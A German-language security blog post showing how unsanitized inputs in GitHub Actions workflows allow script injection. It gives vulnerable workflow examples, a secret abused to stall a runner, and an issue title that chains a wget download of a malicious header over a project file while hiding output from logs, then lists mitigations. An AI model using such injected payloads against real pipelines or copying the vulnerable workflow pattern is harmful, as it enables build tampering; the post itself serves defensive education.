Blog

CI/CD-Skriptinjektion auf DevOps-Plattform-Eingaben: ein stiller Vektor über Automatisierungstools

Martin Perez Rodriguez

Martin Perez Rodriguez

Aktualisiert Oktober 16, 2025
7 Minuten

In den letzten Jahren haben sich mehrere Lösungen für DevOps-Tools als Plattform für den privaten und unternehmerischen Gebrauch etabliert. Die meisten von ihnen bieten CI/CD-Funktionen, die zu den Kernprinzipien der modernen Softwareentwicklung gehören.

CI/CD hat zwar erhebliche Fortschritte für Entwickler ermöglicht, wirft aber auch Bedenken hinsichtlich der Sicherheitsverwaltung bei verteilten Operationen auf. Oft wird der Code auf entfernten "Agenten"-Rechnern ausgeführt, was neue Anforderungen an den Umgang mit sensiblen Daten in der Pipeline stellt, während der Code auf einer anderen Workstation ausgeführt werden kann. Darüber hinaus erfordert die Automatisierung nicht-interaktive Operationen, die auf dynamischen Eingaben, Variablen oder geheimen Werten basieren.

In diesem Beitrag werde ich anhand von GitHub zeigen, wie man Eingaben missbrauchen und UNIX-Befehle in eine herkömmliche Entwicklungspipeline einfügen kann.

Haftungsausschluss: Auch wenn meine Forschung auf GitHub durchgeführt wurde, kann jede Plattform, die nicht-sanitisierte Eingaben in Pipelines verwendet, dieser Art von Angriff ausgesetzt sein.

Eingaben

Der Zugriff auf Eingaben in CI/CD .yml-Dateien erfolgt über Syntaxersetzung. Im Falle von GitHub Actions Workflows werden sie zwischen den Symbolen ${{ }} eingeschlossen.

Es sind viele Eingaben möglich:

  • Zugriff auf den Titel eines Pull Request oder Issue Ereignisses: ${{ github.event.pull_request.title }}, ${{ github.event.issue.title }}
  • Zugriff auf ein Geheimnis: ${{ secrets.NAME }}
  • Zugriff auf einen Ausgabewert eines Schrittes: ${{ steps.<step_id>.outputs.<output_name> }}

Geheimnisse

Obwohl ein Geheimnis die wünschenswerte Prämisse eines dauerhaft verborgenen Wertes ist, werden sensible Informationen verschleiert , während sie weiterhin als Blackbox verwendet werden. Ohne eine Bereinigung der Eingaben können diese Geheimnisse unerwartete Werte enthalten, die zu willkürlichen, unsichtbaren Operationen führen können, sobald sie auf stille, nicht überprüfbare Weise in die CI/CD-Pipeline übertragen werden.

Aufgrund der für die Änderung von Geheimnissen erforderlichen Zugriffsebene (in der Regel administrativ) ist die Angriffsfläche für Geheimnisse geringer als bei anderen Eingaben.

Geheimes Verhalten bei Pipeline-Protokollen

Die Plattformen löschen jedes Vorkommen der Zeichenkette, die nach der Ausführung in den Protokollen erscheinen könnte. Ein herkömmliches echo ${{ secrets.EXAMPLE }} ergibt:

Dies gilt auch für jedes Ereignis, das aus der Ausführung eines anderen Befehls stammt.

echo ${{ secrets.EXAMPLE }} > output.txt && cat output.txt

Diese Zeile hat die gleiche Schwärzung zur Folge.

Skriptinjektion durch Geheimnisse

Dies ist das Eingabeformular für die Definition eines Geheimnisses auf GitHub.

Wie Sie sehen, gibt es in diesem Formular keine Einschränkungen in Bezug auf den Inhaltstyp, die Länge, Leerzeichen oder Sonderzeichen. Das Geheimnis kann eine lange Zeichenkette oder auch nur ein einziges Zeichen sein. Ich habe es getestet, und es scheitert bei 350-400 Zeilen von enwik8.

Dies ist ein Beispiel für eine Workflow-Datei.

name: Generic enterprise workflow
on:
  push:

jobs:
  Run-command-with-injected-secret:
    name: Run echo with a secret
    runs-on: ubuntu-latest
    steps:
      - run: echo ${{ secrets.LOGIN_TOKEN }}

Wie Sie oben gesehen haben, wird der Auftrag echo mit einem geheimen Parameter ausführen. Wir erwarten, dass der Wert für LOGIN_TOKEN eine Zeichenkette ist, aber da dies nicht erzwungen wird, könnten wir das Geheimnis verwenden, um einen unsichtbaren Befehl zu injizieren.

Ein interessanterer Vorgang ist die Erzwingung eines stillen Denial of Service (DoS) bei einem Läufer, indem ein Sleep-Befehl an das Geheimnis angehängt wird. Betrachten Sie den folgenden Arbeitsablauf, bei dem ein API-Token auf einem Geheimnis definiert ist, um eine Curl-Anfrage gegen eine echte öffentliche API durchzuführen.

name: Binance 24h tracker
on:
  push:

jobs:
  retrieve-data:
    name: Retrieving ETH/BTC data
    runs-on: ubuntu-latest
    steps:
      - run: API_TOKEN=${{ secrets.API_TOKEN }} && curl -XGET https://api2.binance.com/api/v3/ticker/24hr -H "Authorization: $API_TOKEN"

Bei der Definition des API_TOKEN-Geheimnisses haben wir dies wie folgt getan:

Infolgedessen bleibt der Runner stehen, bis der Auftrag eine Zeitüberschreitung erfährt oder der Vorgang abgebrochen wird, was in der Regel sehr lange dauert. Dieser Angriff kann nicht anhand von Protokollen oder der Workflow-YAML-Datei diagnostiziert werden. Benutzer können Stunden damit verbringen, bevor sie merken, was passiert, da diese Einschätzung nur durch Intuition ohne Beweise erfolgen kann.


Skriptinjektion über Pull Requests und Issues

Der folgende Code definiert einen Arbeitsablauf, bei dem ein Repository mit der GitHub Action checkout ausgecheckt wird (der Inhalt des Zweigs wird lokal im Runner heruntergeladen). Nach diesem Schritt führt er eine einfache C-Kompilierung mit gcc durch. Schließlich wird eine Echo-Zeile ausgeführt, um die Anwendung zu testen.

name: Simple Compiler
on:
  push:

jobs:
  compile-proj:
    name: Compiling project
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          repository: 'piartz/wargame-rollstats.git'
          ref: 'main'
      - run: gcc -Wall src/main.c -o war_roll
      - run: echo "Now testing the app:" && ./war_roll

Diese Bibliothek dient dazu, Operationen auf der Grundlage von Würfelwürfen auszuführen und das statistische Erfolgsverhältnis für ein Ergebnis von X oder mehr zu berechnen. Für das Ausführungsbeispiel wurde sie so definiert, dass sie die Erfolgsquote für eine 6 bei einem 6-seitigen Würfel (d6) berechnet. Der Code für diese C-Anwendung ist öffentlich zugänglich und kann hier gefunden werden hier.

Der erste Lauf mit dieser Konfiguration liefert ein gültiges Ergebnis.

Wie wäre es, wenn wir den COMPILATION_NAME mit Hilfe eines GitHub-Problems automatisieren?

name: Simple Compiler
on:
  issues:
    types: [opened]

jobs:
  compile-proj-mal:
    name: Malicious compilation
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          repository: 'piartz/wargame-rollstats.git'
          ref: 'main'
      - run: |
          COMPILATION_NAME=${{ github.event.issue.title }}
          gcc -Wall src/main.c -o $COMPILATION_NAME
          echo "Now testing the app:" && ./$COMPILATION_NAME

Jetzt füttern wir COMPILATION_NAME mit einem interessanten Titel für GitHub Issues:

war_exec && wget https://raw.githubusercontent.com/piartz/actions-phishing-demo/main/malicious_c.h &> /dev/null && mv malicious_c.h include/warfunct.h

Dadurch erhält die Kompilierung den Namen war_exec, lädt eine Kopie von malicious_c.h herunter und ersetzt die ursprüngliche warfunct.h durch die neue Datei. Dabei filtern wir auch stdout und stderr des wget-Befehls, um Spuren des Downloads in den Protokollen zu vermeiden(&>/dev/null).

Das Programm lässt sich wie üblich kompilieren, aber das Beispielergebnis ist fehlerhaft:

Diese Injektion hätte entschärft werden können, indem COMPILATION_NAME als Umgebungsvariable für den Auftrag definiert worden wäre. Umgebungsvariablen werden escaped und der Job hätte den Titel einfach als String verarbeitet. Es ist daher eine gute Praxis, dies zu tun, wenn Werte aus einer dynamischen Eingabe bei CI/CD abgeleitet werden.

Wie Sie Angriffe auf Eingaben abwehren können

Was DevOps-Plattformen leisten können

Während viele Eingabetypen durchgängig mit den besten Praktiken des Benutzers gesichert sind, kann die Eingabesicherheit durch die Änderung verschiedener Aspekte ihrer Implementierung gehärtet werden. Auch hier gilt, dass Skriptinjektion nicht nur für GitHub spezifisch ist, sondern auch andere Plattformen unter einem ähnlichen Design leiden können.

Bei vielen Eingaben besteht die grundlegende Methode zur Abwehr von Skriptinjektionen darin, sicherzustellen, dass ihr Format einem vordefinierten Inhaltstyp entspricht. Ist es eine ganze Zahl? Dann schlagen Sie fehl, wenn eine Zeichenkette in der Eingabe erscheint. Handelt es sich um eine Zeichenkette? Dann parsen Sie sie so, dass Laufversuche escaped werden. Typen müssen öffentlich sichtbar und überprüfbar sein, und Freiform-Eingaben müssen eingeschränkt, verboten oder zumindest gut überwacht werden.

Über die Typüberprüfung hinaus könnten wir für bestimmte Arten von Geheimnissen Grenzen wie die Eingabelänge festlegen. Wir können uns über die Länge von Geheimnissen wie Hashes, einigen API-Schlüsseln oder einer 6-stelligen PIN sicher sein.

Wenn Sie schließlich zulassen, dass Variablen, die nicht geheim sind, auf ähnliche Weise wie Geheimnisse definiert werden können, können Sie die schlechte Praxis einschränken, Geheimnisse als reguläre, wiederverwendbare Werte zu verwenden.

Was Benutzer tun können

  • Eine angemessene Zugriffsrichtlinie für Geheimnisse und Schreibberechtigungen auf Repositories kann die Angriffsfläche drastisch reduzieren.
  • Definieren Sie Eingaben als zwischengeschaltete Umgebungsvariablen: diese werden im Falle einer Skriptinjektion immer escaped.
  • Verwenden Sie wann immer möglich vordefinierte, geschlossene Funktionen (z.B. GitHub Actions) anstelle von Shell-Befehlen.
  • Vermeiden Sie es, Geheimnisse mit den Anmeldedaten des Cloud-Anbieters zu definieren, wenn eine andere Methode zur Authentifizierung verfügbar ist, z. B. OpenID Connect.
  • Verwenden Sie Tools zur Überprüfung der Sicherheit der Lieferkette wie OpenSSF Scorecard.
  • Richten Sie Überwachungstools für Ihre Umgebung ein und erstellen Sie Protokollwarnungen für verdächtige Änderungen von Berechtigungen und den Benutzer oder die Anwendung, die den Vorgang durchgeführt hat.

Verfasst von

Martin Perez Rodriguez

DevSecOps and Cloud specialist at Xebia Security

Contact

Let’s discuss how we can support your journey.